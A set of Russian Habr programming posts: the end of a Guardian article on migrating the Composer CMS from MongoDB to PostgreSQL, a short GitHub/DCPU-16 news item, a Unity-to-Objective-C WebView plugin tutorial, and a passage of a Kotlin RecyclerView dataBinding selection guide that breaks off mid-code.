Это одна из причин, почему построение поверх старого API не входило в наши планы. Разделение функций в исходном API было минимальным, а специфичные методы, необходимые для работы именно с Mongo DB, можно было найти даже на уровне контроллеров. В результате задача по добавлению БД другого типа в существующий API была слишком рискованной.
Мы пошли по другому пути и продублировали старый API. Так родился APIV2. Это была более или менее точная копия старого API, связанного с Mongo, и включала те же конечные точки и функциональность. Мы использовали [doobie](https://tpolecat.github.io/doobie/), чистый функциональный слой JDBC для Scala, добавили [Docker](https://www.docker.com) для локального запуска и тестирования, а также улучшили ведение журнала операций и разделение ответственностей. APIV2 должен был стать быстрой и современной версией API.
К концу августа 2017 года у нас был развернут новый API, который использовал PostgreSQL в качестве своей базы данных. Но это было только начало. Есть статьи в Mongo DB, которые были впервые созданы более двух десятилетий назад, и все они должны были мигрировать в БД Postgres.
**Миграция**
Мы должны иметь возможность редактировать любую статью на сайте, независимо от того, когда она была опубликована, поэтому все статьи существуют в нашей БД как единый “источник истины”.
Хотя все статьи живут в [Guardian’s Content API (CAPI)](https://open-platform.theguardian.com), который обслуживает приложения и сайт, для нас было крайне важно осуществить миграцию без каких-либо сбоев, так как наша БД — наш “источник истины”. Если бы что-то случилось с кластером Elasticsearch CAPI, мы бы переиндексировали его из базы данных Composer.
Поэтому, прежде чем отключить Mongo, мы должны были убедиться, что один и тот же запрос на API, работающем на Postgres, и на API, работающем на Mongo, вернет идентичные ответы.
Для этого нам нужно было скопировать весь контент в новую БД Postgres. Это было сделано с помощью скрипта, который напрямую взаимодействовал со старым и новым API. Преимущество этого способа состояло в том, что оба API уже предоставляли собой хорошо протестированный интерфейс для чтения и записи статей в базах данных и из них, в отличие от написания чего-то, что напрямую обращалось к соответствующим базам данных.
Основной порядок миграции был следующим:
* Получить контент из Mongo.
* Опубликовать контент в Postgres.
* Получить контент из Postgres.
* Убедиться, что ответы из них идентичны.
Миграцию БД можно считать успешной, только если конечные пользователи не заметили, что это произошло, и хороший скрипт миграции всегда будет залогом такого успеха. Нам нужен был скрипт, который мог бы:
* Выполнить HTTP-запросы.
* Гарантировать, что после миграции части контента ответ обоих API совпадает.
* Остановиться при возникновении ошибки.
* Создать подробный журнал операций для диагностики проблем.
* Перезапуститься после ошибки с правильной точки.
Мы начали с использования [Ammonite](http://ammonite.io). Он позволяет писать скрипты на языке Scala, который является основным в нашей команде. Это была хорошая возможность поэкспериментировать с тем, что мы раньше не использовали, чтобы увидеть, будет ли это полезно для нас. Хотя Ammonite позволил использовать знакомый нам язык, в работе на нем мы обнаружили несколько недостатков. Сейчас Intellij [поддерживает](https://blog.jetbrains.com/scala/2017/11/28/intellij-idea-scala-plugin-2017-3-lightbend-project-starter-ammonite-support-parallel-indexing-and-more/) Ammonite, но во время нашей миграции он этого не делал — и мы потеряли автодополнение и автоимпортирование. Кроме того, в течение длительного периода времени не удавалось запустить скрипт Ammonite.
В конечном счете, Ammonite не был подходящим инструментом для этой работы, и вместо него мы использовали проект на sbt для выполнения миграции. Это позволило нам работать на языке, в котором мы были уверены, а также выполнить несколько 'тестовых миграций' до запуска в основном рабочем окружении.
Неожиданным было то, насколько полезным он оказался при проверке версии API, работающей на Postgres. Мы нашли несколько труднонаходимых ошибок и предельных случаев, которые мы не обнаружили ранее.
Перенесемся в январь 2018 года, когда пришло время протестировать полномасштабную миграцию в нашей пре-прод среде CODE.
Подобно большинству наших систем, единственное сходство между CODE и PROD — это версия запускаемого приложения. Инфраструктура AWS, поддерживающая среду CODE, была гораздо менее мощной, чем PROD, просто потому, что она получает гораздо меньше нагрузки.
Мы надеялись, что тестовая миграция в среде CODE поможет нам:
* Оценить, сколько времени займет миграция в среде PROD.
* Оценить, как (если вообще) отразится миграция на производительности.
Для того чтобы получить точные измерения этих показателей, мы должны были привести две среды в полное взаимное соответствие. Это включало восстановление резервной копии Mongo DB из PROD в CODE и обновление инфраструктуры, поддерживаемой AWS.
Миграция чуть более 2 млн элементов данных должна была занять гораздо больше времени, чем позволял стандартный рабочий день. Поэтому мы запустили скрипт в [screen](https://en.wikipedia.org/wiki/GNU_Screen) на ночь.
Чтобы замерять ход миграции, мы отправляли структурированные запросы (используя маркеры) в наш стек ELK (Elasticsearch, Logstash и Kibana). Оттуда мы могли создавать подробные панели мониторинга, отслеживая количество успешно перенесенных статей, количество сбоев и общий прогресс. Кроме того, все показатели выводились на большой экран, чтобы вся команда видела детали.
*Панель мониторинга, показывающая ход выполнения миграции: Редакционные Инструменты / Guardian*
Как только миграция была завершена, мы проверили совпадение каждого документа в Postgres и в Mongo.
#### **Часть третья: Прокси и запуск на проде**
**Прокси**
Теперь, когда новый API, работающий на Postgres, был запущен, нам нужно было протестировать его реальным трафиком и шаблонами доступа к данным, чтобы убедиться в его надежности и стабильности. Было два возможных способа это сделать: обновить каждого клиента, который обращается к API Mongo, чтобы тот обращался к обоим API; или запустить прокси, который сделает это за нас. Мы написали прокси на Scala, используя [Akka Streams](https://doc.akka.io/docs/akka/2.5/stream/index.html).
Работа прокси была достаточно проста:
* Принимать трафик от подсистемы балансировки нагрузки.
* Перенаправлять трафик в основной API и обратно.
* Асинхронно пересылать тот же трафик на дополнительный API.
* Вычислять расхождения между двумя ответами и фиксировать их в журнал.
Вначале прокси регистрировал много расхождений, включая некоторые труднонаходимые, но важные поведенческие различия в двух API, которые необходимо было исправить.
**Структурированное ведение журнала**
В Guardian мы ведем журнал, используя стек [ELK](https://www.elastic.co/elk-stack) (Elasticsearch, Logstash и Kibana). Использование Kibana дало нам возможность визуализировать журнал самым удобным для нас способом. Kibana использует [синтаксис запросов Lucene](https://www.elastic.co/guide/en/elasticsearch/reference/6.x/query-dsl-query-string-query.html#query-string-syntax), который довольно просто освоить. Но вскоре мы поняли, что отфильтровать или сгруппировать журнальные записи в текущей настройке было невозможно. Например, мы не смогли отфильтровать те, что были отправлены в результате GET запросов.
Мы решили отправлять в Kibana более структурированные данные, а не просто сообщения. Одна запись журнала содержит несколько полей, например, метку времени и имя стека или приложения, отправившего запрос. Добавлять новые поля очень легко. Эти структурированные поля называются маркерами и могут быть реализованы с помощью библиотеки [logstash-logback-encoder](https://github.com/logstash/logstash-logback-encoder). Для каждого запроса мы извлекали полезную информацию (например, маршрут, метод, код состояния) и создавали карту с дополнительной информацией, необходимой для журнала. Вот пример:
```
import akka.http.scaladsl.model.HttpRequest
import ch.qos.logback.classic.{Logger => LogbackLogger}
import net.logstash.logback.marker.Markers
import org.slf4j.{LoggerFactory, Logger => SLFLogger}
import scala.collection.JavaConverters._
object Logging {
val rootLogger: LogbackLogger = LoggerFactory.getLogger(SLFLogger.ROOT_LOGGER_NAME).asInstanceOf[LogbackLogger]
private def setMarkers(request: HttpRequest) = {
val markers = Map(
"path" -> request.uri.path.toString(),
"method" -> request.method.value
)
Markers.appendEntries(markers.asJava)
}
def infoWithMarkers(message: String, akkaRequest: HttpRequest) =
rootLogger.info(setMarkers(akkaRequest), message)
}
```
Дополнительные поля в наших журналах позволили нам создать информативные панели мониторинга и добавлять больше контекста касательно расхождений, что помогло нам выявить некоторые незначительные несоответствия между двумя API.
**Репликация трафика и рефакторинг прокси**
После переноса содержимого в БД CODE мы получили почти точную копию БД PROD. Главное отличие состояло в том, что CODE не имел трафика. Для репликации реального трафика в среду CODE мы использовали инструмент с открытым исходным кодом [GoReplay](https://goreplay.org) (дальше — gor). Он очень легок в установке и гибок в настройке под ваши требования.
Поскольку весь трафик, поступавший в наши API, сначала попадал на прокси, имело смысл установить gor на прокси-контейнеры. Смотрите ниже, как загрузить gor в свой контейнер и как начать отслеживать трафик на 80-м порту и отправлять его на другой сервер.
```
с wget https://github.com/buger/goreplay/releases/download/v0.16.0.2/gor_0.16.0_x64.tar.gz
tar -xzf gor_0.16.0_x64.tar.gz gor
sudo gor --input-raw :80 --output-http http://apiv2.code.co.uk
```
Некоторое время все работало нормально, но очень скоро произошел сбой в работе, когда прокси стал недоступен в течение нескольких минут. При анализе мы обнаружили что все три прокси-контейнера периодически зависали в одно и то же время. Сначала мы думали, что прокси-сервер падал из-за того, что gor использовал слишком много ресурсов. При дальнейшем анализе консоли AWS мы обнаружили, что прокси-контейнеры зависали регулярно, но не одновременно.
Прежде чем углубляться в проблему дальше, мы попытались найти способ запустить gor, но на этот раз без дополнительной нагрузки на прокси. Решение пришло из нашего вторичного стека для Composer. Этот стек используется только в случае аварийной ситуации, а наш [инструмент рабочего мониторинга](https://www.theguardian.com/info/developer-blog/2016/dec/05/testing-in-production-how-we-combined-tests-with-monitoring) постоянно его тестирует. На этот раз воспроизведение трафика из этого стека в CODE с удвоенной скоростью сработало без каких-либо проблем.
Новые выводы вызвали много вопросов. Прокси был построен как временный инструмент, поэтому он, возможно, не был так тщательно разработан, как другие приложения. Кроме того, он был построен с использованием [Akka Http](https://doc.akka.io/docs/akka-http/current/), с которым никто из нашей команды не был знаком. Код был сумбурным и полным быстрофиксов. Мы решили начать большую работу по рефакторингу, чтобы улучшить читаемость. На этот раз мы использовали for-генераторы вместо растущей вложенной логики, которую мы применяли прежде. И добавили еще больше маркеров ведения журнала.
Мы надеялись, что сможем предотвратить зависание прокси-контейнеров, если детально вникнем в происходящее внутри системы и упростим логику её работы. Но это не сработало. После двух недель попыток сделать прокси более надежным мы почувствовали себя в ловушке. Нужно было принять решение. Мы решили пойти на риск и оставить прокси как есть, так как лучше потратить время на саму миграцию, чем пытаться исправить часть программного обеспечения, которая станет ненужной через месяц. Мы заплатили за это решение еще двумя сбоями — почти по две минуты каждый, — но это нужно было сделать.
Перенесемся в март 2018 года, когда мы уже закончили миграцию в CODE без ущерба для производительности API или клиентского опыта в CMS. Теперь мы могли начать думать о списании прокси из CODE.
Первый этап состоял в том, чтобы изменить приоритеты API, так чтобы прокси сначала взаимодействовала с Postgres. Как мы говорили выше, это решалось изменением в настройках. Однако была одна сложность.
Composer отправляет сообщения в поток Kinesis после обновления документа. Только один API должен был отправлять сообщения, чтобы предотвратить дублирование. Для этого API имеют флаг в конфигурации: true для API, поддерживаемого Mongo, и false — для поддерживаемого Postgres. Просто изменить прокси, чтобы он сначала взаимодействовал с Postgres, было недостаточно, так как сообщение не было бы отправлено в поток Kinesis, пока запрос не достиг Mongo. Это было слишком долго.
Чтобы решить эту проблему, мы создали конечные точки HTTP для мгновенного изменения конфигурации всех экземпляров подсистемы балансировки нагрузки на лету. Это позволило нам очень быстро подключать основной API без необходимости редактирования файла конфигурации и повторного развертывания. Кроме того, это можно автоматизировать, тем самым сократив человеческое взаимодействие и вероятность ошибок.
Теперь все запросы сначала отправлялись в Postgres, а API2 взаимодействовал с Kinesis. Замену можно было сделать постоянной с путем изменения конфигурации и перевыкладки.
Следующий этап состоял в том, чтобы полностью удалить прокси и заставить клиентов обращаться исключительно к API Postgres. Поскольку клиентов у нас много, обновление каждого из них по отдельности не было возможным. Поэтому мы подняли эту задачу до уровня DNS. То есть, мы создали CNAME в DNS, который сначала указывал на ELB прокси и изменялся бы, чтобы указывать на ELB API. Это позволило внести всего одно изменение вместо внесения обновлений каждого отдельного клиента API.
Пришло время перенести PROD. Хотя было и немного страшно, ну потому что это основная рабочая среда. Процесс был относительно прост, так как все решалось изменением настроек. К тому же, по мере добавления маркера этапа в журналы стало возможным перепрофилировать ранее построенные панели мониторинга, просто обновив фильтр Kibana.
**Отключение прокси и Mongo DB**
Спустя 10 месяцев и 2.4 млн перенесенных статей, мы были, наконец, в состоянии отключить всю инфраструктуру, связанную с Mongo. Но сначала нужно было сделать то, чего мы все ждали: убить прокси.
*Логи, показывающие отключение Flexible API Proxy. Фотография: Редакционные Инструменты / Guardian*
Эта небольшая часть программного обеспечения вызвала у нас так много проблем, что мы жаждали поскорее ее отключить! Все, что нам нужно было сделать, — это обновить запись CNAME, чтобы она указывала непосредственно на подсистему балансировки нагрузки APIV2.
Вся команда собралась вокруг одного компьютера. Нужно было совершить лишь одно нажатие клавиши. Дыхание затаили все! Полная тишина… Клик! Дело сделано. И ничего не слетело! Мы все радостно выдохнули.
Однако удаление старого API Mongo DB таило еще одно испытание. Отчаянно удаляя старый код, мы обнаружили, что наши интеграционные тесты никогда не корректировались для использования нового API. Все быстро стало красным. К счастью, большинство проблем были связаны с конфигурацией и мы легко их исправили. Было несколько проблем с запросами PostgreSQL, которые были пойманы тестами. Задумываясь о том, что можно было бы сделать, чтобы избежать этой ошибки, мы вынесли один урок: приступая к большой задаче, смиритесь, что ошибки будут обязательно.
После этого всё работало гладко. Мы отсоединили все экземпляры Mongo от OpsManager, а затем и отключили их. Единственное, что оставалось сделать — это отпраздновать. И поспать. | https://habr.com/ru/post/436416/ | null | ru | null |
# Github включил ассемблер DCPU-16 в список официально поддерживаемых языков
В игре [0x10c](http://0x10c.com/) — новом проекте Нотча (автора Minecraft) — для управления космическим кораблём игроку придётся программировать мифический древний процессор DCPU-16. Сама игра ещё на ранних стадиях разработки, но сообщество будущих игроков уже активно формируется вокруг опубликованных на официальном сайте [спецификаций](http://0x10c.com/doc/dcpu-16.txt) вымышленного процессора. На Гитхабе существуют уже десятки [эмуляторов DCPU-16](http://habrahabr.ru/post/141417/#comment_4732526), [llvm-backend](https://github.com/krasin/llvm-dcpu16/), [операционная система](https://github.com/jdiez17/0x42c), [среда исполнения](http://dwilliamson.github.com/) и даже неофициальный [комитет по стандартам](https://github.com/0x10cStandardsCommittee/0x10c-Standards).
Теперь файлы с расширениями `.dasm` и `.dasm16` распознаются Гитхабом и для них работает подсветка синтаксиса. Общее число репозиториев, связанных с ещё не написанной игрой, уже перевалило за двести. Кажется, Нотчу удалось придумать великолепную приманку для геймеров-программистов. Примитивный 16-разрядный процессор с 8-ю регистрами и исключительно лаконичной системой команд (в которой даже вместо `JMP` и `RET` используется прямое изменение счётчика команд) определённо способен вышибить скупую ностальгическую слезу. Браво, Нотч!
[*Сообщение в блоге Гитхаба*](https://github.com/blog/1098-take-over-the-galaxy-with-github) | https://habr.com/ru/post/141883/ | null | ru | null |
# О подключении самописного Objective-C плагина к игровому движку Unity 3D
Доброго всем дня.
Начнем собственно с того что такое Unity 3d В кратце это трехмерный игровой движок. На официальном сайте доступна бесплатная версия, pro версия и версия с возможностью заливать приложения на мобильные платформы уже стоят денег.
У данного движка богатые возможности, но всего он не умеет и некоторые вещи все же придется делать нативно. Например у вас возникла задача отображение какой либо веб страницы (например вашей личной странице при переходе по ссылке с главного меню игры). Для работы с сетью в unity предназначен класс WWW но он обладает возможностью только обмениваться данными с веб страницами, с задачей рэндера он справиться не может. Вы перебираете все варианты, и решаете что лучше отобразить веб страницу с помощью нативного iOS WebView (сразу оговорюсь, что статья не о том, как написать Web View на Objective-C, а скорее о том, как его подружить с Unity). Для начала вам необходимо открыть xCode (или AppCode) и создать пустое приложение (тут следует учесть, что проект создаваемый Unity не поддерживает ARC , по этому очищать за собой память придется ручками). Нам будет необходимо два Objective-C класса. Назовем их WebController и WebViewCaller. Соответственно создастся четыре файла WebController.h, WebController.m, WebViewCaller.h и WebViewCaller.m. Файлы с расширением .h это заголовочные файлы, там должны быть описаны все методы класса, файлы .m это их непосредственная реализация. Для начала мы определимся что мы хотим от нашего web view. Мы хотим что бы класс принимал два параметра NSString, первый — это страница на которую мы должны перейти если соединение с сетью есть, и второй, это путь в файловой системе до html страницы, которую мы хотим загружать по умолчанию, если соединения с интернетом нет. Для WebController я приведу только .h файл, на WebViewCaller мы остановимся подробнее.
Итак, с помощью хабра, гугла и stackoverflow мы написали класс создающий вэб вью. .h файл выглядит у нас примерно так:
```
@interface WebController : UIViewController
- (id)initWithOnlineHtml:(NSString\*) \_onlineHtml withOfflineHtml:(NSString\*) \_offlineHtml;
@end
```
Это фактически сигнатура public конструктора с именем initWithOnlineHtml:withOfflineHtml: и двумя строковыми параметрами \_onlineHtml и \_offlineHtml, предназначение которых думаю должно быть всем понятно.
Далее нам надо добавить этот вью в наше приложение. Это мы будем делать в нашем WebVievCaller классе. Он должен рисовать нащ веб вью, и рисовать кнопку назад, которая нас вернет назад в нашу игру. Для начала наш класс будет выглядеть так (.h файл)
```
#import
#import "TEWebController.h"
@interface WebViewCaller : NSObject
-(IBAction)quitBack:(id)sender;
-(void) callViewWithOnlineHtml:(NSString\*) \_onlineHtml
withOfflineHtml:(NSString\*) \_offlineHtml;
@end
```
quitBack это функция, которая будет вызываться нажатием кнопки, callViewWithOnlineHtml:withOfflineHtml: будет собственно добавлять наш WebView к текущему окну и рисовать кнопку. Итак наш класс выглядит следующим образом:
```
@implementation WebViewCaller
UIWindow* window;
-(IBAction)quitBack:(id)sender
{
NSLog(@"%d",clicked.tag);
}
-(void) callViewWithOnlineHtml:(NSString*) _onlineHtml
withOfflineHtml:(NSString*) _offlineHtml
{
TEWebController* webController = [[TEWebController alloc] initWithOnlineHtml:_onlineHtml withOfflineHtml:_offlineHtml];
window = [[UIApplication sharedApplication] keyWindow]; //1
[window setRootViewController:webController]; //2
UIButton *button = [UIButton buttonWithType:UIButtonTypeRoundedRect]; //3
[button addTarget:self
action:@selector(quitBack:)
forControlEvents:UIControlEventTouchUpInside];
[button setTitle:@"<<" forState:UIControlStateNormal];
button.frame = CGRectMake(0, 0, 160.0, 40.0);
[window addSubview:button]; //4
[webController release];
}
@end
```
Тут можно остановиться немного подробнее. Мы создаем наш веб вью с пришедшими из unity параметрами, строкой 1 мы получаем текущее окно, строкой 2 мы устанавливаем наш веб вью как контроллер отображения, со строки 3 по строку 4 мы создаем кнопку, которая пока просто выводит свой тег в консоль и, наконец строкой 4 мы добавляем нашу кнопку на экран.
Далее начинается то, ради чего это статья задумывалась. Нам надо добавить всю эту радость в unity и сделать кнопку назад.
Для начала нам надо добавть наши классы в папку "/pathToYourProject/Assets/Plugins/iOS/" (дальнейшие вложения не допустимы). Зачем мы это сделали, наверное спросите вы. Unity при сборке создает проект xCode, и xCode подхватывает файлы лежащие в этой папке, и добавляет в свой проект. В xCode проекте они лежат в папке Libraries. Для подклучения плагина функции должны быть объявлены в «C» синтаксисе. То есть нашу функцию мы должны объявить в виде
```
void _CalliOSWebView(const char *onlineHtml, const char *offlineHtml);
```
(типу string в «C#»" соответствует const char \* в «C», так что нам еще надо будет привести наши const char \* переменные в NSString и вызвать callViewWithOnlineHtml:withOfflineHtml: с данными параметрами). Для этого вне класса после пишем функцию в «C» стиле преобразующую входные параметры в NSString и вызывающую callViewWithOnlineHtml:withOfflineHtml:.
Если вы попытаетесь подключить Objective-C метод, вы получите ошибку вида:
```
Undefined symbols for architecture armv7: "__CalliOSWebView", referenced from: RegisterMonoModules() in RegisterMonoModules.o ld: symbol(s) not found for architecture armv7 clang: error: linker command failed with exit code 1 (use -v to see invocation)
```
Внесем необходимые измененмя в наш класс. Теперь наш .m файл должен выглядеть так:
```
@implementation WebViewCaller
UIWindow* window;
-(IBAction)quitBack:(id)sender
{
NSLog(@"%d",clicked.tag);
}
-(void) callViewWithOnlineHtml:(NSString*) _onlineHtml
withOfflineHtml:(NSString*) _offlineHtml
{
TEWebController* webController = [[TEWebController alloc] initWithOnlineHtml:_onlineHtml withOfflineHtml:_offlineHtml];
window = [[UIApplication sharedApplication] keyWindow]; //1
[window setRootViewController:webController]; //2
UIButton *button = [UIButton buttonWithType:UIButtonTypeRoundedRect]; //3
[button addTarget:self
action:@selector(quitBack:)
forControlEvents:UIControlEventTouchUpInside];
[button setTitle:@"<<" forState:UIControlStateNormal];
button.frame = CGRectMake(0, 0, 160.0, 40.0);
[window addSubview:button]; //4
[webController release];
}
@end
void _CalliOSWebView(const char *onlineHtml, const char *offlineHtml)
{
NSString *onlineHtmlString = [[NSString alloc] initWithUTF8String:onlineHtml];
NSString *offlineHtmlString = [[NSString alloc] initWithUTF8String:offlineHtml];
WebViewCaller *caller = [[WebViewCaller alloc] init];
[caller callViewWithOnlineHtml:onlineHtmlString withOfflineHtml:offlineHtmlString];
[onlineHtmlString release];
[offlineHtmlString release];
}
```
также надо добавить описание нашей функции в .h файл
```
#import
#import "WebController.h"
@interface WebViewCaller : NSObject
-(IBAction)quitBack:(id)sender;
-(void) callViewWithOnlineHtml:(NSString\*) \_onlineHtml
withOfflineHtml:(NSString\*) \_offlineHtml;
@end
#ifdef \_\_cplusplus
extern "C" {
#endif
void \_CalliOSWebView(const char \*onlineHtml, const char \*offlineHtml);
#ifdef \_\_cplusplus
}
#endif
```
Теперь мы можем использовать наш плагин. Для этого в Unity используется [DllImport («PluginName»)], но так как мы работаем с iOS где плагины статически включены в сборку, мы будем использовать [DllImport ("\_\_Internal")].
Код в unity будет выглядеть так:
```
public static void CallForWebPage()
{
if (Application.platform == RuntimePlatform.IPhonePlayer)
{
_CalliOSWebView("http://habrahabr.ru", Application.dataPath + "/Raw/test.html");
}
}
```
думаю тут все должно быть понятно, кроме разве что второго аргумента в вызове \_CalliOSWebView. Он ссылается на файл, сохраненный в файловой системе iOS устройства. Но как мы его туда положим? Для этого в unity существует StreamingAssets (файлы помещенные в эту папку останутся без изменений после сборки проекта). Создадим эту папку и положим туда наш test.html. Теперь для отображения веб вью надо будет вызвать из юнити CallForWebPage() но останется вопрос с кнопкой назад. Его можно решить следующим образом. Сохраняем вью юнити, подкладываем наш веб вью, по нажатию кнопки восстанавливаем вью юнити. Единственная проблема в том, что юнити не знает об этом, и игра, звуки продолжаются. Но это легко решаемо при желаниии. Реализация кнопки представлена ниже:
```
@implementation WebViewCaller
UIViewController *unityViewController;
UIWindow* window;
-(IBAction)quitBack:(id)sender
{
[window setRootViewController:unityViewController];
}
-(void) callViewWithOnlineHtml:(NSString*) _onlineHtml
withOfflineHtml:(NSString*) _offlineHtml
{
WebController* webController = [[TEWebController alloc] initWithOnlineHtml:_onlineHtml withOfflineHtml:_offlineHtml];
window = [[UIApplication sharedApplication] keyWindow];
unityViewController = [UIApplication sharedApplication].keyWindow.rootViewController;
[window setRootViewController:webController];
UIButton *button = [UIButton buttonWithType:UIButtonTypeRoundedRect];
[button addTarget:self
action:@selector(quitBack:)
forControlEvents:UIControlEventTouchUpInside];
[button setTitle:@"<<" forState:UIControlStateNormal];
button.frame = CGRectMake(0, 0, 160.0, 40.0);
[window addSubview:button];
[webController release];
}
@end
void _CalliOSWebView(const char *onlineHtml, const char *offlineHtml)
{
NSString *onlineHtmlString = [[NSString alloc] initWithUTF8String:onlineHtml];
NSString *offlineHtmlString = [[NSString alloc] initWithUTF8String:offlineHtml];
WebViewCaller *caller = [[WebViewCaller alloc] init];
[caller callViewWithOnlineHtml:onlineHtmlString withOfflineHtml:offlineHtmlString];
[onlineHtmlString release];
[offlineHtmlString release];
}
```
Единственный оставшийся вопрос в том, как это все дебажить. Я для себя решил его следующим образом. Заходим в папку куда мы собирали iOS проект. Открываем его из xCode, правим, дебажим и делаем все что хотим (напомню, что наши плагины лежат в папке Libraries). Потом копипастим изменения в наши классы лежащие в папке "/pathToYourProject/Assets/Plugins/iOS/".
Вот собственно и все. Если класс WebController написан правильно, то все запустится и будет работать. До этого программированием на Objective-C не занимался, и некоторые вещи могут показаться профессионалам топорными и кривыми, за что я извиняюсь, но надеюсь что основную мысль о том, как подключать плагины я донести смог, и надеюсь что смог сохранить хоть кому-нибудь несколько часов работы. Спасибо за внимание.
Кому интересен Unity могу посоветовать следующие ресурсы:
[unity3d.com](http://unity3d.com) — официальный сайт;
[answers.unity3d.com](http://answers.unity3d.com) — вопросы и ответы. Самый, на мой взгляд, полезный ресурс;
[forum.unity3d.com](http://forum.unity3d.com) — форум о юнити;
[docs.unity3d.com](http://docs.unity3d.com) — официальная документация. | https://habr.com/ru/post/162991/ | null | ru | null |
# Выбор элементов recylerView при помощи dataBinding'а
Всем привет. На днях столкнулся с проблемой реализации выбора нескольких элементов в RecyclerView с использованием dataBinding'а.
### Сразу за дело
Для начала напишем базовый адаптер, поддерживающий dataBinding.
```
/**
* Универсальный адаптер для data binding'а.
* @param layoutRes id layout'а, который будет установлен для итемов
* @param lifecycleOwner lifecycle owner фрагмента или активти, в котором лежит recycler view
* @param itemBindingId id переменной в layout'е, в это поле устанавливается итем
* @param onClick метод, вызываемый при клике на итем
*/
class RecyclerViewAdapter(
@LayoutRes private val layoutRes: Int,
private val lifecycleOwner: LifecycleOwner,
private val itemBindingId: Int? = null,
private val onClick: ((Item) -> Unit)? = null
) : RecyclerView.Adapter.ViewHolder>() {
private val items = mutableListOf()
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val inflater = LayoutInflater.from(parent.context)
//Создаем базовый ViewDataBinding экземпляр с переданным layoutRes
val binding = DataBindingUtil.inflate(inflater, layoutRes, parent, false)
return ViewHolder(binding)
}
override fun getItemCount(): Int = items.size
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
//По сути просто вызываем onBind с текущим итемом
val item = items[position]
holder.onBind(item)
}
/\*\*
\* Установка итемов в адаптер
\*
\* @param newItems новыйе итемы
\*/
fun setItems(newItems: List) {
val diffUtilCallback = DiffUtilCallback(newItems)
val diffResult = DiffUtil.calculateDiff(diffUtilCallback)
items.apply {
clear()
addAll(newItems)
}
diffResult.dispatchUpdatesTo(this)
}
//Тут происходит вся магия DataBinding'а
inner class ViewHolder(
private val binding: ViewDataBinding
) : RecyclerView.ViewHolder(binding.root) {
fun onBind(item: Item) {
binding.apply {
//Установка переменных
setVariable(itemBindingId ?: BR.item, item)
root.setOnClickListener { onClick?.invoke(item) }
lifecycleOwner = this@RecyclerViewAdapter.lifecycleOwner
}
}
}
private inner class DiffUtilCallback(private val newItems: List) : DiffUtil.Callback() {
override fun getOldListSize(): Int = itemCount
override fun getNewListSize(): Int = newItems.size
override fun areItemsTheSame(oldItemPosition: Int, newItemPosition: Int): Boolean {
return newItems[newItemPosition].id == items[oldItemPosition].id
}
override fun areContentsTheSame(oldItemPosition: Int, newItemPosition: Int): Boolean {
return newItems[newItemPosition] == items[oldItemPosition]
}
}
}
```
Так же для работы DiffUtil я сделал интерфейс, который показывает, что элемент имеет уникальное поле
```
/**
* Интерфейс для ui моделей, необходим для RecyclerViewAdapter.
* @property id уникальное поле итема
*/
interface IRecyclerViewItem {
val id: Int
}
```
До недавнего времени, данный адаптер позволял решить почти все задачи со списками. В зависимости от проекта onClick можно заменить на onBind: (binding: ViewDataBinding) -> Unit, тем самым можно сделать настройку отдельных элементов итема.
Selection helper
----------------
Настало время магии, пора писать сам SelectionHelper, который будет работать для dataBinding'а и иметь высокую производительность.
За время написания возможности выбора элементов из списка, была создана куча костылей, которые обладали очень медленным перфомансом при поиске выбранных элементов, или же код реализации был кривым.
Вот самый лучший, на мой взгляд, вариант:
```
class SelectionHelper : ISelectionHelper() {
//Мапа со всеми выбранными элементами
private val selectedItems = mutableMapOf()
//Обработка итема, если он уже выбран - убираем его, иначе - наоборот
override fun handleItem(item: T) {
if (selectedItems[item.id] == null) {
selectedItems[item.id] = item
} else {
selectedItems.remove(item.id)
}
//Уведомляем dataBining, что пора бы обновить ui)
notifyChange()
}
override fun isSelected(id: Int): Boolean = selectedItems.containsKey(id)
override fun getSelectedItems(): List = selectedItems.values.toList()
override fun getSelectedItemsSize(): Int = selectedItems.size
}
// Наследуем класс от BaseObservable, для того, что бы dataBinding мог следить за
// изменением сотояния хелпера
abstract class ISelectionHelper : BaseObservable() {
abstract fun handleItem(item: T)
abstract fun isSelected(id: Int): Boolean
abstract fun getSelectedItems(): List
abstract fun getSelectedItemsSize(): Int
}
```
Из преимуществ такого подхода можно выделить:
* Со стороны viewModel мы можем иметь быстрый доступ к выбранным элементам через selectionHelper.getSelectedItems, при надобности.
* Возможность использовать DataBinding, без надобности как-то уведомлять adapter о изменении состояния итема
* Выделение можно делать как под копотом адаптера, так и настраивать все через тот же самый onBind
Теперь для работы с таким хелпером нам надо:
1. Создать сам хелпер в viewModel/presenter или где угодно, где он нужен
2. Передать его в адаптер
3. Модифицировать xml итема
С первым пунктом не должно быть каких-либо проблем, а вот вторым мы сейчас и займемся
Переписываем adadpter
---------------------
```
class RecyclerViewAdapter(
@LayoutRes private val layoutRes: Int,
private val lifecycleOwner: LifecycleOwner,
private val itemBindingId: Int? = null,
//Делаем его нулабельным, что бы не поломать логику, когда нам не нужно выделение
private val selectionHelper: ISelectionHelper? = null,
private val onClick: ((Item) -> Unit)? = null
) : RecyclerView.Adapter.ViewHolder>() {
...
inner class ViewHolder(
private val binding: ViewDataBinding
) : RecyclerView.ViewHolder(binding.root) {
fun onBind(item: Item) {
binding.apply {
//Установка переменных
setVariable(itemBindingId ?: BR.item, item)
selectionHelper?.let { setVariable(BR.selectionHelper, it) }
root.setOnClickListener {
//Вызываем обработку элемента
selectionHelper?.handleItem(item)
onClick?.invoke(item)
}
lifecycleOwner = this@RecyclerViewAdapter.lifecycleOwner
}
}
}
}
```
Сейчас при каждом клике элемент будет менять свое состояние выбран/не выбран, это поведение можно поменять, сделав метод onBind, или же как-либо по другому.
Весь код адаптера
```
class RecyclerViewAdapter(
@LayoutRes private val layoutRes: Int,
private val lifecycleOwner: LifecycleOwner,
private val itemBindingId: Int? = null,
private val selectionHelper: ISelectionHelper? = null,
private val onClick: ((Item) -> Unit)? = null
) : RecyclerView.Adapter.ViewHolder>() {
private val items = mutableListOf()
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val inflater = LayoutInflater.from(parent.context)
val binding = DataBindingUtil.inflate(inflater, layoutRes, parent, false)
return ViewHolder(binding)
}
override fun getItemCount(): Int = items.size
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
val item = items[position]
holder.onBind(item)
}
/\*\*
\* Установка итемов в адаптер
\*
\* @param newItems новыйе итемы
\*/
fun setItems(newItems: List) {
val diffUtilCallback = DiffUtilCallback(newItems)
val diffResult = DiffUtil.calculateDiff(diffUtilCallback)
items.apply {
clear()
addAll(newItems)
}
diffResult.dispatchUpdatesTo(this)
}
inner class ViewHolder(
